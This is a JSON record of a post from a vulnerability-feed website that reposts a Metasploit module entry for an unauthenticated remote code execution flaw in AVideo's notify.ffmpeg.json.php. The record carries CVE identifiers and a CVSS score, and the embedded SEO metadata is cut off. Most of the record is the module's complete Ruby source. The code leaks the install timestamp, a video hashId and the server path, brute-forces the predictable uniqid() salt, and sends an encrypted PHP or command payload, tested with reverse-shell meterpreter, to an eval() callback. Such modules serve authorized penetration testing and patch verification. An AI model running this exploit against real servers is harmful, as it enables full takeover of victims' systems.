{"id":36080,"date":"2026-01-16T13:48:15","date_gmt":"2026-01-16T13:48:15","guid":{"rendered":"http:\/\/localhost\/?p=36080"},"modified":"2026-01-16T13:48:15","modified_gmt":"2026-01-16T13:48:15","slug":"avideo-notifyffmpegjsonphp-unauthenticated-rce-via-salt-discovery","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=36080","title":{"rendered":"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-16T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated remote code execution RCE vulnerability in AVideo&#8217;s notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt generation mechanism combined with information&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-16T18:59:10&#8243;,&#8221;modified&#8221;:&#8221;2026-01-16T18:59:10&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-34433&#8243;,&#8221;CVE-2025-34441&#8243;,&#8221;CVE-2025-34442&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nrequire &#8216;openssl&#8217;\\nrequire &#8216;time&#8217;\\nrequire &#8216;tzinfo&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Payload::Php\\n  include Msf::Exploit::Remote::HttpClient\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits an unauthenticated remote code execution (RCE) vulnerability\\n          in AVideo&#8217;s notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical\\n          cryptographic weakness in the salt generation mechanism combined with information\\n          disclosure vulnerabilities that allow an attacker to discover the encryption salt\\n          through offline bruteforce.\\n\\n          Root Cause:\\n          During installation, AVideo generates an encryption salt using PHP&#8217;s uniqid() function,\\n          which is not cryptographically secure. uniqid() generates a 13-character hexadecimal\\n          string composed of: 8 characters for Unix timestamp in hex, and 5 characters for\\n          microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).\\n\\n          Exploit Chain:\\n          1. Leak installation timestamp from \/objects\/categories.json.php (public endpoint)\\n          2. Leak video hashId from \/objects\/videosAndroid.json.php or \/plugin\/API\/get.json.php\\n          3. Leak system root path from posterPortraitPath in video API responses\\n          4. Leak server timezones from \/objects\/getTimes.json.php\\n          5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison\\n          6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()\\n\\n          The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,\\n          which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,\\n          it retries with the old uniqid() salt. This fallback makes the RCE exploitable.\\n\\n          Affected Versions:\\n          AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in\\n          encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with\\n          eval($callback) (introduced January 7, 2025).\\n\\n          Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove\\n          the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.\\n\\n          This vulnerability does not require authentication and can be exploited remotely by any\\n          attacker who can access the AVideo instance.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e&#8217; # Discovery and Metasploit module\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2025-34433&#8217;], # Unauthenticated RCE via Predictable Salt\\n          [&#8216;CVE&#8217;, &#8216;2025-34441&#8217;], # Information Disclosure: hashId leak\\n          [&#8216;CVE&#8217;, &#8216;2025-34442&#8217;], # Information Disclosure: System Path leak\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/WWBN\/AVideo\/pull\/10284&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/chocapikk.com\/posts\/2025\/avideo-security-vulnerabilities\/&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.vulncheck.com\/advisories\/avideo-unauthenticated-rce-via-predictable-installation-salt&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e %w[php unix linux win],\\n        &#8216;Arch&#8217; =\\u003e [ARCH_PHP, ARCH_CMD],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;PHP In-Memory&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_PHP\\n              # tested with php\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n          [\\n            &#8216;Unix\/Linux Command Shell&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e %w[unix linux],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD\\n              # tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ],\\n          [\\n            &#8216;Windows Command Shell&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD\\n              # tested with cmd\/windows\/http\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ]\\n        ],\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-19&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to AVideo&#8217;, &#8216;\/&#8217;]),\\n      OptString.new(&#8216;SALT&#8217;, [false, &#8216;Known salt (skips bruteforce)&#8217;, &#8221;]),\\n      OptString.new(&#8216;SYSTEM_ROOT&#8217;, [false, &#8216;System root path (fallback if leak fails)&#8217;, &#8216;\/var\/www\/html\/AVideo\/&#8217;])\\n    ])\\n  end\\n\\n  def check\\n    gather_info\\n    return CheckCode::Safe(&#8216;notify.ffmpeg.json.php not found (requires 14.3.1+)&#8217;) unless @notify_exists\\n\\n    salt_provided = !datastore[&#8216;SALT&#8217;].to_s.empty?\\n    unless salt_provided\\n      return CheckCode::Safe(&#8216;categories.json.php inaccessible (timestamp leak required)&#8217;) unless @timestamp_accessible\\n      return CheckCode::Safe(&#8216;hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)&#8217;) unless @hashid_accessible\\n    end\\n\\n    return CheckCode::Appears(\\&#8221;Vulnerable version #{@version} detected\\&#8221;) if @version \\u0026\\u0026 @version \\u003e= Rex::Version.new(&#8216;14.3.1&#8217;)\\n    return CheckCode::Safe(\\&#8221;Version #{@version} requires 14.3.1+\\&#8221;) if @version\\n\\n    CheckCode::Appears(&#8216;Prerequisites met (version unknown)&#8217;)\\n  end\\n\\n  def exploit\\n    gather_info\\n    fail_with(Failure::Unknown, &#8216;Failed to discover salt&#8217;) unless discover_salt\\n\\n    callback_payload = target[&#8216;Arch&#8217;] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)\\n    vprint_status(&#8216;Executing payload&#8230;&#8217;)\\n    res = send_rce_payload(callback_payload)\\n\\n    return if session_created?\\n\\n    if res\\u0026.code == 200\\n      vprint_status(\\&#8221;Payload executed (response: #{res.code})\\&#8221;)\\n      return\\n    end\\n\\n    error_msg = parse_error_from_response(res)\\n    fail_with(Failure::Unknown, error_msg ? \\&#8221;Exploit failed: #{error_msg}\\&#8221; : \\&#8221;Unexpected response code: #{res\\u0026.code}\\&#8221;)\\n  end\\n\\n  def parse_error_from_response(res)\\n    return nil unless res\\u0026.body\\n\\n    data = JSON.parse(res.body)\\n    return data[&#8216;msg&#8217;] if data[&#8216;msg&#8217;] \\u0026\\u0026 !data[&#8216;msg&#8217;].to_s.empty?\\n    return &#8216;Unknown error&#8217; if data[&#8216;error&#8217;] == true\\n\\n    nil\\n  rescue JSON::ParserError\\n    nil\\n  end\\n\\n  def gather_info\\n    return if @notify_exists \\u0026\\u0026 @timestamp_accessible \\u0026\\u0026 @hashid_accessible \\u0026\\u0026 @timestamps \\u0026\\u0026 @video_info\\n\\n    vprint_status(&#8216;Gathering target information&#8230;&#8217;)\\n    detect_version\\n    @notify_exists = check_notify_endpoint\\n\\n    @timestamp_accessible = check_endpoint(&#8216;objects\/categories.json.php&#8217;)\\n    @timestamps ||= get_timestamps if @timestamp_accessible\\n\\n    # get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests\\n    @video_info ||= get_video_info\\n    @hashid_accessible = !@video_info.nil?\\n  end\\n\\n  def detect_version\\n    res = send_request_cgi({ &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;index.php&#8217;), &#8216;method&#8217; =\\u003e &#8216;GET&#8217;, &#8216;follow_redirect&#8217; =\\u003e true })\\n    return unless res\\u0026.code == 200\\n\\n    version_match = res.body.match(\/Powered by AVideo \u00ae Platform v([\\\\d.]+)\/) || res.body.match(\/\\u003c!&#8211;.*?v:([\\\\d.]+).*?&#8211;\\u003e\/m)\\n    return unless version_match \\u0026\\u0026 version_match[1]\\n\\n    @version = Rex::Version.new(version_match[1])\\n    vprint_status(\\&#8221;Detected AVideo version: #{@version}\\&#8221;)\\n  end\\n\\n  def check_endpoint(path)\\n    res = send_request_cgi({ &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, path), &#8216;method&#8217; =\\u003e &#8216;GET&#8217; })\\n    res\\u0026.code == 200\\n  end\\n\\n  def check_notify_endpoint\\n    res = send_request_cgi({ &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;plugin&#8217;, &#8216;API&#8217;, &#8216;notify.ffmpeg.json.php&#8217;), &#8216;method&#8217; =\\u003e &#8216;GET&#8217; })\\n    return false unless res\\n\\n    res.code == 403 \\u0026\\u0026 res.body.to_s.include?(&#8216;Empty notifyCode&#8217;)\\n  end\\n\\n  # Fetch server timezones to test multiple uniqid calculations with different offsets\\n  def get_timezones\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;objects&#8217;, &#8216;getTimes.json.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    })\\n    return [nil, nil] unless res\\u0026.code == 200\\n\\n    data = JSON.parse(res.body)\\n    [data[&#8216;_serverSystemTimezone&#8217;], data[&#8216;_serverDBTimezone&#8217;]]\\n  rescue StandardError\\n    [nil, nil]\\n  end\\n\\n  # If the default category created at install was deleted, exploit will fail (timestamp not guessable)\\n  def get_timestamps\\n    vprint_status(&#8216;Leaking installation timestamp&#8230;&#8217;)\\n    system_tz, db_tz = get_timezones\\n    vprint_status(\\&#8221;Server timezones: system=#{system_tz}, db=#{db_tz}\\&#8221;)\\n\\n    res = send_request_cgi({ &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;objects&#8217;, &#8216;categories.json.php&#8217;), &#8216;method&#8217; =\\u003e &#8216;GET&#8217; })\\n    return [] unless res\\u0026.code == 200\\n\\n    # Try JSON parsing first, fallback to regex if JSON is invalid\\n    timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)\\n    return timestamps if timestamps.any?\\n\\n    parse_timestamps_from_regex(res.body, system_tz, db_tz)\\n  end\\n\\n  def parse_timestamps_from_json(body, system_tz, db_tz)\\n    data = JSON.parse(body)\\n    rows = data[&#8216;rows&#8217;]\\n    return [] unless rows.is_a?(Array) \\u0026\\u0026 !rows.empty?\\n\\n    first_category = rows.min_by { |c| c[&#8216;id&#8217;].to_i }\\n    created = first_category[&#8216;created&#8217;]\\n    timestamps = datetime_to_timestamps(created, system_tz, db_tz)\\n    vprint_good(\\&#8221;Installation timestamp: #{created} -\\u003e #{timestamps.first}\\&#8221;)\\n    timestamps\\n  rescue JSON::ParserError\\n    []\\n  end\\n\\n  def parse_timestamps_from_regex(body, system_tz, db_tz)\\n    matches = body.scan(\/\\&#8221;id\\&#8221;\\\\s*:\\\\s*(\\\\d+).*?\\&#8221;created\\&#8221;\\\\s*:\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\/m)\\n    return [] if matches.empty?\\n\\n    created = matches.min_by { |m| m[0].to_i }[1]\\n    timestamps = datetime_to_timestamps(created, system_tz, db_tz)\\n    vprint_good(\\&#8221;Installation timestamp (regex): #{created} -\\u003e #{timestamps.first}\\&#8221;)\\n    timestamps\\n  end\\n\\n  def datetime_to_timestamps(dt_str, system_tz, db_tz)\\n    dt = Time.strptime(dt_str, &#8216;%Y-%m-%d %H:%M:%S&#8217;)\\n    dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)\\n    timezones = [system_tz, db_tz, &#8216;UTC&#8217;].compact.uniq\\n\\n    timezones.map do |tz|\\n      tz_obj = TZInfo::Timezone.get(tz)\\n      format(&#8216;%x&#8217;, tz_obj.local_to_utc(dt_local).to_i)\\n    end.uniq\\n  rescue StandardError =\\u003e e\\n    vprint_error(\\&#8221;Error converting datetime: #{e}\\&#8221;)\\n    []\\n  end\\n\\n  def get_system_root\\n    return @system_root if @system_root \\u0026\\u0026 !@system_root.empty?\\n\\n    # Try to get from cached endpoint responses first\\n    @system_root = extract_system_root_from_cache\\n    if @system_root\\n      vprint_good(\\&#8221;System root leaked: #{@system_root}\\&#8221;)\\n      return @system_root\\n    end\\n\\n    # On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)\\n    @system_root = datastore[&#8216;SYSTEM_ROOT&#8217;]\\n    vprint_status(\\&#8221;Using fallback system root: #{@system_root}\\&#8221;)\\n    @system_root\\n  end\\n\\n  def extract_system_root_from_cache\\n    pattern = \/\\&#8221;poster(?:Portrait|Landscape)Path\\&#8221;\\\\s*:\\\\s*\\&#8221;([^\\&#8221;]+)\\&#8221;\/\\n\\n    # Collect all cached response bodies to scan\\n    bodies = (@endpoint_cache || {}).values\\n\\n    bodies.each do |body|\\n      body.scan(pattern).each do |match|\\n        path = match[0].gsub(&#8216;\\\\\\\\\/&#8217;, &#8216;\/&#8217;)\\n        root = find_root_in_path(path)\\n        return root if root\\n      end\\n    end\\n    nil\\n  end\\n\\n  def find_root_in_path(path)\\n    %w[\/view\/ \/videos\/ \/plugin\/].each do |subdir|\\n      return path.split(subdir)[0] + &#8216;\/&#8217; if path.include?(subdir)\\n    end\\n    nil\\n  end\\n\\n  # Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)\\n  # Note: videosAndroid.json.php can take a long time to load, this is expected\\n  # hashId won&#8217;t be accessible if no public videos exist on the instance\\n  def get_video_info\\n    vprint_status(&#8216;Leaking video hashId&#8230;&#8217;)\\n    @endpoint_cache ||= {}\\n\\n    endpoints = [\\n      normalize_uri(target_uri.path, &#8216;objects&#8217;, &#8216;videosAndroid.json.php&#8217;),\\n      normalize_uri(target_uri.path, &#8216;plugin&#8217;, &#8216;API&#8217;, &#8216;get.json.php&#8217;) + &#8216;?APIName=video&#8217;,\\n      normalize_uri(target_uri.path, &#8216;view&#8217;, &#8216;info.php&#8217;)\\n    ]\\n\\n    endpoints.each do |endpoint|\\n      info = extract_video_info_from_endpoint(endpoint)\\n      return info if info\\n    rescue StandardError =\\u003e e\\n      vprint_error(\\&#8221;Error checking #{endpoint}: #{e}\\&#8221;)\\n    end\\n    nil\\n  end\\n\\n  def extract_video_info_from_endpoint(endpoint)\\n    # Use cached response if available\\n    body = @endpoint_cache[endpoint]\\n    unless body\\n      res = send_request_cgi({ &#8216;uri&#8217; =\\u003e endpoint, &#8216;method&#8217; =\\u003e &#8216;GET&#8217; })\\n      return nil unless res\\u0026.code == 200\\n\\n      body = res.body\\n      @endpoint_cache[endpoint] = body\\n    end\\n\\n    data = JSON.parse(body)\\n    videos = data[&#8216;videos&#8217;] || data.dig(&#8216;response&#8217;, &#8216;rows&#8217;) || (data[&#8216;response&#8217;].is_a?(Array) ? data[&#8216;response&#8217;] : [])\\n    return nil if videos.empty?\\n\\n    video = videos.find { |v| v[&#8216;id&#8217;] \\u0026\\u0026 v[&#8216;hashId&#8217;] }\\n    return nil unless video\\n\\n    hash_id = video[&#8216;hashId&#8217;]\\n    cipher = hash_id.length \\u003c 16 ? &#8216;RC4&#8217; : &#8216;AES-128-CBC&#8217;\\n    vprint_good(\\&#8221;Video ID=#{video[&#8216;id&#8217;]}, hashId=#{hash_id} (#{cipher})\\&#8221;)\\n    { id: video[&#8216;id&#8217;].to_i, hash_id: hash_id, cipher: cipher }\\n  end\\n\\n  def compute_hashid(video_id, salt, cipher_type = &#8216;AES-128-CBC&#8217;)\\n    key = Digest::MD5.hexdigest(salt)[0, 16]\\n    plaintext = video_id.to_s(32)\\n    cipher = OpenSSL::Cipher.new(cipher_type)\\n    cipher.encrypt\\n    cipher.key = key\\n    cipher.iv = key if cipher_type == &#8216;AES-128-CBC&#8217;\\n\\n    Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)\\n  end\\n\\n  def encrypt_payload(payload)\\n    key = Digest::SHA256.hexdigest(@salt)[0, 32]\\n    iv = Digest::SHA256.hexdigest(@system_root)[0, 16]\\n\\n    cipher = OpenSSL::Cipher.new(&#8216;AES-256-CBC&#8217;)\\n    cipher.encrypt\\n    cipher.key = key\\n    cipher.iv = iv\\n\\n    Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))\\n  end\\n\\n  def test_salt_candidate(candidate, video)\\n    compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]\\n  end\\n\\n  def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)\\n    return unless (micro % 100_000).zero? \\u0026\\u0026 micro \\u003e 0\\n\\n    current = (ts_idx * 0x100000) + micro\\n    pct = (100.0 * current \/ total).round(1)\\n    formatted_micro = micro.to_s.reverse.gsub(\/(\\\\d{3})(?=\\\\d)\/, &#8216;\\\\\\\\1,&#8217;).reverse\\n    print(\\&#8221;%bld%blu[*]%clr [#{ts_idx + 1}\/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\\\\r\\&#8221;)\\n  end\\n\\n  def bruteforce_salt(timestamps, video)\\n    vprint_status(\\&#8221;Bruteforcing salt (#{video[:cipher]})&#8230;\\&#8221;)\\n    start_time = Time.now\\n    total = timestamps.length * 0x100000\\n\\n    timestamps.each_with_index do |ts_hex, ts_idx|\\n      (0&#8230;0x100000).each do |micro|\\n        candidate = format(&#8216;%s%05x&#8217;, ts_hex, micro)\\n        if test_salt_candidate(candidate, video)\\n          print(\\&#8221;\\\\r\\&#8221;)\\n          elapsed = (Time.now &#8211; start_time).round(2)\\n          vprint_good(\\&#8221;Salt found: #{candidate} (in #{elapsed}s)\\&#8221;)\\n          return candidate\\n        end\\n        print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)\\n      end\\n    end\\n\\n    print(\\&#8221;\\\\r\\&#8221;)\\n    nil\\n  end\\n\\n  def discover_salt\\n    @salt ||= datastore[&#8216;SALT&#8217;] unless datastore[&#8216;SALT&#8217;].to_s.empty?\\n    if @salt\\n      vprint_good(\\&#8221;Using provided salt: #{@salt}\\&#8221;)\\n      return get_system_root\\n    end\\n\\n    get_system_root\\n    @timestamps ||= get_timestamps\\n    @video_info ||= get_video_info\\n    return false if @timestamps.empty? || !@video_info\\n\\n    @salt = bruteforce_salt(@timestamps, @video_info)\\n    !@salt.nil?\\n  end\\n\\n  def send_rce_payload(callback_payload)\\n    notify_code = encrypt_payload(&#8216;valid&#8217;)\\n    callback = encrypt_payload(callback_payload)\\n\\n    filename = Rex::Text.rand_text_alphanumeric(8..16)\\n    ext = %w[mp4 avi mkv mov webm].sample\\n    full_filename = \\&#8221;#{filename}.#{ext}\\&#8221;\\n\\n    notify_data = {\\n      &#8216;avideoPath&#8217; =\\u003e full_filename,\\n      &#8216;avideoRelativePath&#8217; =\\u003e full_filename,\\n      &#8216;avideoFilename&#8217; =\\u003e filename\\n    }\\n    notify = JSON.generate(notify_data.to_a.shuffle.to_h)\\n\\n    params = {\\n      &#8216;notifyCode&#8217; =\\u003e notify_code,\\n      &#8216;notify&#8217; =\\u003e notify,\\n      &#8216;callback&#8217; =\\u003e callback\\n    }\\n\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;plugin&#8217;, &#8216;API&#8217;, &#8216;notify.ffmpeg.json.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;vars_get&#8217; =\\u003e params.to_a.shuffle.to_h\\n    })\\n    res\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/http\/avideo_notify_ffmpeg_unauth_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.3,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/http\/avideo_notify_ffmpeg_unauth_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-16T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated remote code execution RCE vulnerability in AVideo&#8217;s notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,169,13,7,11,5],"class_list":["post-36080","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=36080\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-16T19:28:01&#8243;,&#8221;description&#8221;:&#8221;This module exploits an unauthenticated remote code execution RCE vulnerability in AVideo&#8217;s notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical cryptographic weakness in the salt...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=36080\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-16T13:48:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE-\",\"datePublished\":\"2026-01-16T13:48:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080\"},\"wordCount\":2767,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36080#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080\",\"name\":\"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery_MSF:EXPLOIT-MULTI-HTTP-AVIDEO_NOTIFY_FFMPEG_UNAUTH_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-16T13:48:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=36080\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=36080#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt 